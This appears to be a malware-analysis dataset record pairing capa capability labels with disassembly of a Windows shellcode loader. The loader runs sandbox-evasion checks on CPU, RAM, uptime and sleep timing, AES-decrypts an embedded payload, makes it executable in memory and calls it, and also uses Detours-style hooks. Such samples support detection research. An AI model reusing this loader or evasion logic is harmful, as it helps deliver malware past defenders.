joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004750
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x140083e68]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x1400047a2
mov eax, 0xffffffff
jmp 0x14000487a
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x800c
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x1400047d0
mov eax, 0xffffffff
jmp 0x14000487a
xor r9d, r9d
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x1400047f6
mov eax, 0xffffffff
jmp 0x14000487a
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8, qword [rsp + 0x38]
mov edx, 0x6610
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x140004823
mov eax, 0xffffffff
jmp 0x14000487a
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x140004855
mov eax, 0xffffffff
jmp 0x14000487a
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400107c0
add rsp, 0x58
ret

Function at 0x140004890
Capabilities:
Create thread

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140004a20]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x140004902
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x30], eax
lea rdx, str.Failed_to_create_thread._Error_code:
lea rcx, [0x1400853f0]
call fcn.140001350
mov ecx, dword [rsp + 0x30]
mov edx, ecx
mov rcx, rax
call fcn.140003e50
lea rdx, [0x1400026d0]
mov rcx, rax
call fcn.140004040
jmp 0x14000491d
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x48
ret
Function at 0x140006d70
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub rsp, 0x38
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x2c], 0
mov dword [rsp + 0x28], 0x7530
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rsp + 0x20], eax
mov ecx, dword [rsp + 0x28]
call qword [0x140085070]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x28]
sub eax, 0x2710
cmp dword [rsp + 0x2c], eax
jbe 0x140006dda
mov eax, 1
jmp 0x140006ddc
xor eax, eax
add rsp, 0x38
ret

Function at 0x140007190
Capabilities:
Get memory capacity

Disassembly:
sub rsp, 0x88
mov rax, qword [0x140083e68]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x30], 0x40
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor edx, edx
mov rax, qword [rsp + 0x38]
mov ecx, 0x400
div rcx
xor edx, edx
mov ecx, 0x400
div rcx
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x800
jae 0x1400071e6
xor al, al
jmp 0x1400071e8
mov al, 1
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1400107c0
add rsp, 0x88
ret

Function at 0x140007230
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x68
mov rax, qword [0x140083e68]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 2
jae 0x140007263
xor al, al
jmp 0x140007265
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400107c0
add rsp, 0x68
ret
Function at 0x140009210
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x140083e68]
xor rax, rsp
mov qword [rsp + 0x48], rax
call fcn.140007230
movzx eax, al
test eax, eax
jne 0x140009256
lea rcx, str.cpu_ok
call fcn.1400094d0
xor eax, eax
jmp 0x140009393
call fcn.140007190
movzx eax, al
test eax, eax
jne 0x140009275
lea rcx, str.RAM_ok
call fcn.1400094d0
xor eax, eax
jmp 0x140009393
call fcn.140007200
movzx eax, al
test eax, eax
jne 0x140009294
lea rcx, str.Uptime_ok
call fcn.1400094d0
xor eax, eax
jmp 0x140009393
call fcn.140006d70
test eax, eax
jne 0x1400092b0
lea rcx, str.accelerated_ok
call fcn.1400094d0
xor eax, eax
jmp 0x140009393
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov r9d, 0x10
lea r8, section..data
mov edx, 0x40e10
lea rcx, [0x140043010]
call fcn.140004750
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov qword [rsp + 0x38], rax
mov r8d, 0x50000
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x30], rax
mov r8, qword [rsp + 0x30]
mov edx, 0x40e10
lea rcx, str.size:_d__p_n
call fcn.1400094d0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov r9d, 0x40e10
lea r8, [0x140043010]
mov rdx, qword [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, 0x40e10
xor edx, edx
lea rcx, [0x140043010]
call fcn.140011c80
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov r8d, 0x40e10
mov rdx, qword [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call fcn.1400088f0
call qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400107c0
add rsp, 0x58
ret
Function at 0x1400097f0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x78]
sub rax, 0x10000
mov rcx, rax
call fcn.140009a40
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x20], rax
jbe 0x14000990a
mov rax, qword [0x140083e38]
cmp qword [rsp + 0x20], rax
jb 0x140009854
mov rax, qword [0x140083e40]
cmp qword [rsp + 0x20], rax
ja 0x140009854
mov rax, qword [rsp + 0x20]
sub rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x140009816
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140011c80
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x140009885
jmp 0x14000990a
cmp dword [rsp + 0x50], 0x10000
jne 0x1400098ed
cmp qword [rsp + 0x48], 0x10000
jb 0x1400098ed
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1400098cb
mov rax, qword [rsp + 0x28]
jmp 0x14000990c
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1400098db
xor eax, eax
jmp 0x14000990c
mov rax, qword [rsp + 0x20]
sub rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x140009905
mov rax, qword [rsp + 0x38]
sub rax, 0x10000
mov rcx, rax
call fcn.140009a40
mov qword [rsp + 0x20], rax
jmp 0x140009816
xor eax, eax
add rsp, 0x68
ret

Function at 0x140009920
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.140009a80
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x78]
cmp qword [rsp + 0x20], rax
jae 0x140009a36
mov rax, qword [0x140083e38]
cmp qword [rsp + 0x20], rax
jb 0x14000997b
mov rax, qword [0x140083e40]
cmp qword [rsp + 0x20], rax
ja 0x14000997b
mov rax, qword [rsp + 0x20]
add rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x14000993d
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140011c80
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x1400099ac
jmp 0x140009a36
cmp dword [rsp + 0x50], 0x10000
jne 0x140009a14
cmp qword [rsp + 0x48], 0x10000
jb 0x140009a14
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1400099f2
mov rax, qword [rsp + 0x28]
jmp 0x140009a38
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x140009a02
xor eax, eax
jmp 0x140009a38
mov rax, qword [rsp + 0x20]
add rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x140009a31
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140009a80
mov qword [rsp + 0x20], rax
jmp 0x14000993d
xor eax, eax
add rsp, 0x68
ret
Function at 0x140009ad0
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.14000a060
mov qword [rsp + 0x28], 0
cmp qword [0x1400850b8], 0
jne 0x140009b18
cmp qword [0x1400850b0], 0
je 0x140009b18
mov rax, qword [0x1400850b0]
mov qword [0x1400850b8], rax
cmp qword [0x1400850b8], 0
je 0x140009bbe
mov rax, qword [0x1400850b8]
cmp qword [rax + 0x10], 0
je 0x140009bbe
mov rax, qword [0x1400850b8]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x140009bbe
mov rax, qword [0x1400850b8]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x140009bbe
mov rax, qword [0x1400850b8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x28], rax
jb 0x140009b84
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
jbe 0x140009b8b
xor eax, eax
jmp 0x140009d35
mov rax, qword [0x1400850b8]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x48]
mov qword [rax + 0x10], rcx
mov r8d, 0x60
mov edx, 0xcc
mov rcx, qword [rsp + 0x28]
call fcn.140011c80
mov rax, qword [rsp + 0x28]
jmp 0x140009d35
mov rax, qword [0x1400850b0]
mov qword [0x1400850b8], rax
jmp 0x140009be0
mov rax, qword [0x1400850b8]
mov rax, qword [rax + 8]
mov qword [0x1400850b8], rax
cmp qword [0x1400850b8], 0
je 0x140009c2d
cmp qword [0x1400850b8], 0
je 0x140009c2b
mov rax, qword [0x1400850b8]
cmp qword [rax + 0x10], 0
je 0x140009c2b
mov rax, qword [0x1400850b8]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x140009c2b
mov rax, qword [0x1400850b8]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x140009c2b
jmp 0x140009b5c
jmp 0x140009bce
mov rax, qword [rsp + 0x60]
and rax, 0xffff
mov eax, eax
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.140009d40
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140009d33
mov rax, qword [rsp + 0x48]
mov qword [0x1400850b8], rax
mov rax, qword [0x1400850b8]
mov dword [rax], 0x52727464
mov rax, qword [0x1400850b8]
mov qword [rax + 0x10], 0
mov rax, qword [0x1400850b8]
mov rcx, qword [0x1400850b0]
mov qword [rax + 8], rcx
mov rax, qword [0x1400850b8]
mov qword [0x1400850b0], rax
mov qword [rsp + 0x40], 0
mov rax, qword [0x1400850b8]
add rax, 0x60
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2a8
jmp 0x140009ce4
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
jle 0x140009d1e
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov qword [rcx + rax + 0x48], rdx
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
jmp 0x140009cda
mov rax, qword [0x1400850b8]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x10], rcx
jmp 0x140009b5c
xor eax, eax
add rsp, 0x58
ret
Function at 0x14000aa50
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov r8d, 0x30
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x80]
call sub.KERNEL32.dll_VirtualQuery
nop
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14000aa97
xor al, al
jmp 0x14000ab39
mov rax, qword [rsp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp dword [rax], 0x4550
je 0x14000aac1
xor al, al
jmp 0x14000ab39
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 0x88], rax
jb 0x14000ab31
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov ecx, 8
imul rcx, rcx, 0xc
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rdx + rcx + 0x8c]
add rax, rcx
cmp qword [rsp + 0x88], rax
jae 0x14000ab31
mov al, 1
jmp 0x14000ab39
jmp 0x14000ab37
xor al, al
add rsp, 0x78
ret

Function at 0x14000ae40
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1400850b0]
mov qword [rsp + 0x28], rax
jmp 0x14000ae60
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 8]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14000ae8f
lea r9, [rsp + 0x20]
mov r8d, 0x40
mov edx, 0x10000
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x14000ae8d
call sub.KERNEL32.dll_GetLastError
jmp 0x14000ae91
jmp 0x14000ae52
xor eax, eax
add rsp, 0x38
ret
Function at 0x14000b730
Capabilities:
Resume thread

Disassembly:
sub rsp, 0x68
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x1400850c8], eax
je 0x14000b74b
mov eax, 0x10dd
jmp 0x14000b870
mov rax, qword [0x1400850e0]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14000b7f5
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x20]
movzx eax, byte [rax + 0x3e]
lea r9, [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov r8d, dword [rcx + 0x28]
mov edx, eax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x18]
call sub.KERNEL32.dll_VirtualProtect
mov rax, qword [rsp + 0x28]
cmp dword [rax + 8], 0
jne 0x14000b7c0
mov rax, qword [rsp + 0x28]
cmp qword [rax + 0x20], 0
je 0x14000b7c0
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x20]
call fcn.14000a1a0
mov rax, qword [rsp + 0x28]
mov qword [rax + 0x20], 0
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov edx, 0x30
mov rcx, qword [rsp + 0x38]
call fcn.1400106a0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x28], rax
jmp 0x14000b757
mov qword [0x1400850e0], 0
call fcn.14000ac00
mov rax, qword [0x1400850d8]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x14000b859
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 8]
call sub.KERNEL32.dll_ResumeThread
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov edx, 0x10
mov rcx, qword [rsp + 0x48]
call fcn.1400106a0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
jmp 0x14000b811
mov qword [0x1400850d8], 0
mov dword [0x1400850c8], 0
xor eax, eax
add rsp, 0x68
ret
Function at 0x14000bda0
Capabilities:
Suspend thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
cmp dword [0x1400850cc], 0
je 0x14000bdbd
mov eax, dword [0x1400850cc]
jmp 0x14000be83
call sub.KERNEL32.dll_GetCurrentThread
cmp qword [rsp + 0x50], rax
jne 0x14000bdd0
xor eax, eax
jmp 0x14000be83
mov ecx, 0x10
call fcn.140010664
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14000be3e
mov dword [rsp + 0x20], 8
cmp qword [rsp + 0x28], 0
je 0x14000be23
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov edx, 0x10
mov rcx, qword [rsp + 0x38]
call fcn.1400106a0
mov qword [rsp + 0x28], 0
mov eax, dword [rsp + 0x20]
mov dword [0x1400850cc], eax
mov qword [0x1400850d0], 0
mov eax, dword [rsp + 0x20]
jmp 0x14000be83
mov rcx, qword [rsp + 0x50]
call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x14000be58
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
jmp 0x14000bdf9
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x28]
mov rcx, qword [0x1400850d8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x28]
mov qword [0x1400850d8], rax
xor eax, eax
add rsp, 0x48
ret
Function at 0x14000bf70
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x80], 0
jne 0x14000bf9d
xor ecx, ecx
call sub.KERNEL32.dll_GetModuleHandleW
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14000bfbd
mov ecx, 0xc1
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x14000c136
mov rax, qword [rsp + 0x40]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp dword [rax], 0x4550
je 0x14000bff4
mov ecx, 0xbf
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x14000c136
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 0x14]
test eax, eax
jne 0x14000c012
mov ecx, 0xc0
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x14000c136
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x38]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], 0
jmp 0x14000c03e
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x20], eax
jae 0x14000c11a
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
lea rdx, str..detour
mov rcx, rax
call fcn.14001a500
test eax, eax
jne 0x14000c115
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
cmp dword [rcx + rax + 0xc], 0
je 0x14000c0a3
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
cmp dword [rcx + rax + 0x10], 0
jne 0x14000c0a5
jmp 0x14000c11a
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax + 0xc]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax]
cmp rax, 0x40
jb 0x14000c0eb
mov rax, qword [rsp + 0x28]
cmp dword [rax + 4], 0x727444
je 0x14000c0ed
jmp 0x14000c11a
mov rax, qword [rsp + 0x28]
cmp dword [rax + 8], 0
jne 0x14000c107
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x28]
mov ecx, dword [rcx]
mov dword [rax + 8], ecx
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
jmp 0x14000c136
jmp 0x14000c034
mov ecx, 0xc0
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x14000c136
add rsp, 0x78
ret
Function at 0x14000c140
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov rax, qword [rsp + 0x90]
add rax, 0x10000
mov qword [rsp + 0x30], rax
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x48]
call fcn.140011c80
jmp 0x14000c188
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov r8d, 0x30
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
ja 0x14000c1a7
jmp 0x14000c24b
cmp dword [rsp + 0x68], 0x1000
jne 0x14000c1cc
mov eax, dword [rsp + 0x6c]
and eax, 0xff
cmp eax, 1
je 0x14000c1cc
mov eax, dword [rsp + 0x6c]
and eax, 0x100
test eax, eax
je 0x14000c1ce
jmp 0x14000c173
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x14000c204
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x3c]
cmp rax, qword [rsp + 0x60]
ja 0x14000c204
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x3c]
cmp rax, 0x40
jae 0x14000c209
jmp 0x14000c173
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp dword [rax], 0x4550
jne 0x14000c173
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x20]
jmp 0x14000c24d
xor eax, eax
add rsp, 0x88
ret

Function at 0x14000c4a0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.140011c80
nop
mov r8d, 0x30
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x80]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
ja 0x14000c4ea
mov ecx, 0xc1
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x14000c5b2
cmp dword [rsp + 0x60], 0x1000
jne 0x14000c50f
mov eax, dword [rsp + 0x64]
and eax, 0xff
cmp eax, 1
je 0x14000c50f
mov eax, dword [rsp + 0x64]
and eax, 0x100
test eax, eax
je 0x14000c520
mov ecx, 0xc1
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x14000c5b2
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14000c547
mov ecx, 0xc1
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x14000c5b2
mov rax, qword [rsp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp dword [rax], 0x4550
je 0x14000c57b
mov ecx, 0xbf
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x14000c5b2
mov rax, qword [rsp + 0x30]
movzx eax, word [rax + 0x14]
test eax, eax
jne 0x14000c596
mov ecx, 0xc0
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x14000c5b2
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
jmp 0x14000c5b2
add rsp, 0x78
ret
Function at 0x14000fe1c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x14000fe4a
xor eax, eax
jmp 0x14000ff30
cmp qword [rcx + 0x68], 0
je 0x14000fe5b
call fcn.14000ff4c
jmp 0x14000ff30
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14000fe72
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000fe74
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000fea6
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.1400115e0
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14000ff2a
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x14000fedd
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x14000ff06
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14001bf40
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14000ff2a
cmp rsi, rbx
ja 0x14000fee4
test rsi, rsi
je 0x14000ff2a
